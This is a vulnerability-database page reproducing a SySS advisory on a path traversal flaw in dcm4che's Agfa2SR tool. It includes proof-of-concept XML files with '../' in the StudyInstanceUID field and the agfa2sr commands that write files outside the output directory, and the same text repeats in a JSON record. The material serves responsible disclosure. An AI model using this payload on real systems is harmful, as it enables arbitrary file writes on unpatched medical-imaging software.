GCVE-1988-2026-0478

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-080 Product: dcm4che Manufacturer: J4Care Affected Version(s): 5.35.0 Tested Version(s): 5.35.0 Risk Level: High Solution Status: Open Manufacturer Notification: 2026-08-06 Public Disclosure: 2026-10-13 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: and transmitting DICOM data (see [1]). The Agfa2SR command-line tool in dcm4che is vulnerable to a path traversal attack. An attacker who can supply an Agfa XML SR (Structured Report) file for processing with Agfa2SR can write files outside the configured output directory by injecting "../" sequences into the StudyInstanceUID field. This allows attackers to achieve arbitrary file write on the target system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Agfa2SR tool converts Agfa XML SR reports into DICOM or XML output files. It processes files containing reports delimited by <agfa:DiagnosticRadiologyReport>...</agfa:DiagnosticRadiologyReport> tags. Two path traversal vectors exist in the tool: Vector 1: getWriter path (Agfa2SR.java:268-271) When no XSLT stylesheet is configured (via the -x none flag), the report is written as XML. The StudyInstanceUID extracted from the input XML is used directly as the output filename without validation: private BufferedWriter getWriter(String outDir, String siuid) { return Files.newBufferedWriter( Paths.get(outDir, siuid + ".xml"), // NO path validation StandardCharsets.UTF_8); } Vector 2: DICOM output path (Agfa2SR.java:240) When an XSLT stylesheet is configured, the report is converted to DICOM and the filename is derived from DICOM attribute values via AttributesFormat.format(). The default format pattern is {0020000D} (StudyInstanceUID): File file = new File(outDir, format.format(attrs)); If an attacker provides an Agfa SR report XML containing <StudyInstanceUID>../outside_agfa2sr</StudyInstanceUID>, the resulting file path for Vector 1 resolves to: Paths.get(outDir, "../outside_agfa2sr.xml") which is the parent directory of outDir. For Vector 2, a StudyInstanceUID containing "../" in its DICOM attribute value similarly escapes the output directory via the format.format() substitution. A crafted Agfa SR report XML is straightforward to construct. It requires the START_OF_REPORT marker (<agfa:DiagnosticRadiologyReport), the StudyInstanceUID element containing the traversal payload, and an END_OF_REPORT marker (</agfa:DiagnosticRadiologyReport>). The agfa2sr binary processes such input without error. The root cause is the missing validation of the StudyInstanceUID and format.format() output before their use in file path operations. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The path traversal (vector 1) can be demonstrated by creating an Agfa SR report with a path traversal payload in the StudyInstanceUID field. cat > report1.xml << 'EOF' <agfa:DiagnosticRadiologyReport xmlns:agfa="http://agfa.com";> <StudyInstanceUID>../outside_agfa2sr</StudyInstanceUID> <PatientName>Test^Patient</PatientName> </agfa:DiagnosticRadiologyReport> EOF The output directory for agfa2sr (in this example "/tmp/output") has to exist. Running agfa2sr with no XSLT, which triggers the "getWriter" path, writes the file "/tmp/outside_agfa2sr.xml" one directory level above the configured output directory. agfa2sr -x none -d /tmp/output report1.xml The path traversal (vector 2) allows writes to directies that do not already exist. The output directory (in this example "/tmp/output") has to exist. cat > report2.xml << 'EOF' <agfa:DiagnosticRadiologyReport xmlns:agfa="http://www.agfa.com/hc";> <StudyInstanceUID>../outside_agfa2sr/poc</StudyInstanceUID> <OrderDetails> <AccessionNumber>POC</AccessionNumber> <ReferringPhysician> <Name> <SingleByteName> <LastName>Doe</LastName> <FirstName>John</FirstName> </SingleByteName> </Name> </ReferringPhysician> <StudyDetails> <StudyInstanceUID>../outside_agfa2sr/poc</StudyInstanceUID> <StudyDescription>POC Scan</StudyDescription> <ReasonForStudy>Security testing</ReasonForStudy> </StudyDetails> </OrderDetails> <PatientDetails> <Name> <SingleByteName> <LastName>POC</LastName> <FirstName>Vector2</FirstName> </SingleByteName> </Name> <Id> <IdText>PAT001</IdText> <IdDomain>Hospital</IdDomain> </Id> <BirthDate>19800101</BirthDate> <Sex>M</Sex> </PatientDetails> <ReportDetails> <ReportStatus>Preliminary</ReportStatus> <InterpretationRecordDate>20260101</InterpretationRecordDate> <InterpretationRecordTime>120000</InterpretationRecordTime> <ReportBody>Path traversal PoC for SYSS-2026-080 Vector 2</ReportBody> </ReportDetails> </agfa:DiagnosticRadiologyReport> EOF Running agfa2sr with this report creates the file "../outside_agfa2sr/poc" outside the specified output directory in a new directory. agfa2sr -d /tmp/output report2.xml ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: SySS GmbH is not aware of a security update for the described issue. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-08-06: Vulnerability reported to manufacturer 2026-09-04: Vulnerability reported to manufacturer again 2026-10-13: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] dcm4che project website https://www.dcm4che.org/ [2] SySS Security Advisory SYSS-2026-080 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
References
Impacted products
Vendor Product Version CPE status
unknown dcm4che Affected: unknown
guessed Create a notification for this product.
Credits
Matthias Deeg via Fulldisclosure
To clipboard 

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "dcm4che",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-080\nProduct:                   dcm4che\nManufacturer:              J4Care\nAffected Version(s):       5.35.0\nTested Version(s):         5.35.0\n\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-08-06\nPublic Disclosure:         2026-10-13\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\n\nand transmitting DICOM data (see [1]).\n\nThe Agfa2SR command-line tool in dcm4che is vulnerable to a path traversal\nattack. An attacker who can supply an Agfa XML SR (Structured Report) file\nfor processing with Agfa2SR can write files outside the configured output\ndirectory by injecting \"../\" sequences into the StudyInstanceUID field.\n\nThis allows attackers to achieve arbitrary file write on the target system.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Agfa2SR tool converts Agfa XML SR reports into DICOM or XML output\nfiles. It processes files containing reports delimited by\n\u003cagfa:DiagnosticRadiologyReport\u003e...\u003c/agfa:DiagnosticRadiologyReport\u003e tags.\n\nTwo path traversal vectors exist in the tool:\n\nVector 1: getWriter path (Agfa2SR.java:268-271)\n\nWhen no XSLT stylesheet is configured (via the -x none flag), the report\nis written as XML. The StudyInstanceUID extracted from the input XML is\nused directly as the output filename without validation:\n\n  private BufferedWriter getWriter(String outDir, String siuid) {\n      return Files.newBufferedWriter(\n          Paths.get(outDir, siuid + \".xml\"),  // NO path validation\n          StandardCharsets.UTF_8);\n  }\n\n\nVector 2: DICOM output path (Agfa2SR.java:240)\n\nWhen an XSLT stylesheet is configured, the report is converted to DICOM\nand the filename is derived from DICOM attribute values via\nAttributesFormat.format(). The default format pattern is {0020000D}\n(StudyInstanceUID):\n\n  File file = new File(outDir, format.format(attrs));\n\nIf an attacker provides an Agfa SR report XML containing\n\u003cStudyInstanceUID\u003e../outside_agfa2sr\u003c/StudyInstanceUID\u003e, the resulting\nfile path for Vector 1 resolves to:\n\n  Paths.get(outDir, \"../outside_agfa2sr.xml\")\n\nwhich is the parent directory of outDir. For Vector 2, a StudyInstanceUID\ncontaining \"../\" in its DICOM attribute value similarly escapes the output\ndirectory via the format.format() substitution.\n\nA crafted Agfa SR report XML is straightforward to construct. It requires\nthe START_OF_REPORT marker (\u003cagfa:DiagnosticRadiologyReport), the\nStudyInstanceUID element containing the traversal payload, and an\nEND_OF_REPORT marker (\u003c/agfa:DiagnosticRadiologyReport\u003e). The agfa2sr\nbinary processes such input without error.\n\nThe root cause is the missing validation of the StudyInstanceUID and\nformat.format() output before their use in file path operations.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe path traversal (vector 1) can be demonstrated by creating an Agfa SR\nreport with a path traversal payload in the StudyInstanceUID field.\n\ncat \u003e report1.xml \u003c\u003c \u0027EOF\u0027\n\u003cagfa:DiagnosticRadiologyReport xmlns:agfa=\"http://agfa.com\";\u003e\n\u003cStudyInstanceUID\u003e../outside_agfa2sr\u003c/StudyInstanceUID\u003e\n\u003cPatientName\u003eTest^Patient\u003c/PatientName\u003e\n\u003c/agfa:DiagnosticRadiologyReport\u003e\nEOF\n\nThe output directory for agfa2sr (in this example \"/tmp/output\") has to\nexist.\n\nRunning agfa2sr with no XSLT, which triggers the \"getWriter\" path, writes\nthe file \"/tmp/outside_agfa2sr.xml\" one directory level above the\nconfigured output directory.\n\nagfa2sr -x none -d /tmp/output report1.xml\n\n\nThe path traversal (vector 2) allows writes to directies that do not already\nexist. The output directory (in this example \"/tmp/output\") has to exist.\n\ncat \u003e report2.xml \u003c\u003c \u0027EOF\u0027\n\u003cagfa:DiagnosticRadiologyReport xmlns:agfa=\"http://www.agfa.com/hc\";\u003e\n  \u003cStudyInstanceUID\u003e../outside_agfa2sr/poc\u003c/StudyInstanceUID\u003e\n  \u003cOrderDetails\u003e\n    \u003cAccessionNumber\u003ePOC\u003c/AccessionNumber\u003e\n    \u003cReferringPhysician\u003e\n      \u003cName\u003e\n        \u003cSingleByteName\u003e\n          \u003cLastName\u003eDoe\u003c/LastName\u003e\n          \u003cFirstName\u003eJohn\u003c/FirstName\u003e\n        \u003c/SingleByteName\u003e\n      \u003c/Name\u003e\n    \u003c/ReferringPhysician\u003e\n    \u003cStudyDetails\u003e\n      \u003cStudyInstanceUID\u003e../outside_agfa2sr/poc\u003c/StudyInstanceUID\u003e\n      \u003cStudyDescription\u003ePOC Scan\u003c/StudyDescription\u003e\n      \u003cReasonForStudy\u003eSecurity testing\u003c/ReasonForStudy\u003e\n    \u003c/StudyDetails\u003e\n  \u003c/OrderDetails\u003e\n  \u003cPatientDetails\u003e\n    \u003cName\u003e\n      \u003cSingleByteName\u003e\n        \u003cLastName\u003ePOC\u003c/LastName\u003e\n        \u003cFirstName\u003eVector2\u003c/FirstName\u003e\n      \u003c/SingleByteName\u003e\n    \u003c/Name\u003e\n    \u003cId\u003e\n      \u003cIdText\u003ePAT001\u003c/IdText\u003e\n      \u003cIdDomain\u003eHospital\u003c/IdDomain\u003e\n    \u003c/Id\u003e\n    \u003cBirthDate\u003e19800101\u003c/BirthDate\u003e\n    \u003cSex\u003eM\u003c/Sex\u003e\n  \u003c/PatientDetails\u003e\n  \u003cReportDetails\u003e\n    \u003cReportStatus\u003ePreliminary\u003c/ReportStatus\u003e\n    \u003cInterpretationRecordDate\u003e20260101\u003c/InterpretationRecordDate\u003e\n    \u003cInterpretationRecordTime\u003e120000\u003c/InterpretationRecordTime\u003e\n    \u003cReportBody\u003ePath traversal PoC for SYSS-2026-080 Vector 2\u003c/ReportBody\u003e\n  \u003c/ReportDetails\u003e\n\u003c/agfa:DiagnosticRadiologyReport\u003e\nEOF\n\nRunning agfa2sr with this report creates the file \"../outside_agfa2sr/poc\"\noutside the specified output directory in a new directory.\n\nagfa2sr -d /tmp/output report2.xml\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-08-06: Vulnerability reported to manufacturer\n2026-09-04: Vulnerability reported to manufacturer again\n2026-10-13: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] dcm4che project website\n    https://www.dcm4che.org/\n[2] SySS Security Advisory SYSS-2026-080\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/25"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/25"
        },
        {
          "url": "http://agfa.com\""
        },
        {
          "url": "http://www.agfa.com/hc\""
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.dcm4che.org/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/25"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0478",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/25",
            "automated": true,
            "contentSha256": "1762a53aa93c278b68708182b37a79edf19ab8062550cc2e8fb33b860edcb6ea",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/25",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-15T07:32:10Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:01Z",
    "dateUpdated": "2026-11-02T07:30:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0478"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.